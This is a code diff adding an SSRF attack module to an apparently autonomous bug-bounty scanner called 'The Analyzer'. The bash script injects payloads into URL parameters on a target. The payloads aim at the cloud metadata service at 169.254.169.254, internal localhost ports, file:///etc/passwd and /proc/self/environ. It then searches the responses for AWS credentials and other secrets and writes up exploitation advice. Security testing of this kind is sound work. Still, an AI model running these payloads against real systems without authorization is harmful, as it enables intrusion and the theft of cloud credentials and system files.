The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/05-ssrf.sh

@@ -0,0 +1,55 @@
+#!/usr/bin/env bash
+# Vector 05: Server-Side Request Forgery
+# Desc: SSRF via URL params, file fetching, webhooks
+# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters
+# Severity: HIGH
+# Tools: curl
+
+vector_ssrf() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing SSRF vectors..."
+  
+  local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data")
+  local ssrf_targets=(
+    "http://169.254.169.254/latest/meta-data/"
+    "http://169.254.169.254/"
+    "http://127.0.0.1:80"
+    "http://127.0.0.1:8080"
+    "http://127.0.0.1:3306"
+    "http://127.0.0.1:6379"
+    "http://localhost/flag"
+    "file:///etc/passwd"
+    "file:///proc/self/environ"
+    "http://[::1]:80"
+    "http://0.0.0.0:80"
+  )
+  
+  for param in "${ssrf_params[@]}"; do
+    for ssrf_target in "${ssrf_targets[@]}"; do
+      local test_url=""
+      if [[ "$target" == *\?* ]]; then
+        test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
+      else
+        test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
+      fi
+      
+      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
+      
+      if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then
+        print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target"
+        echo "SEVERITY: CRITICAL
+VECTOR: Server-Side Request Forgery (SSRF)
+DETAIL: SSRF via parameter '$param' on $target
+EVIDENCE: Internal data accessible: ${response:0:100}...
+EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt"
+        findings=$((findings + 1))
+        break 2
+      fi
+    done
+  done
+  
+  return $findings
+}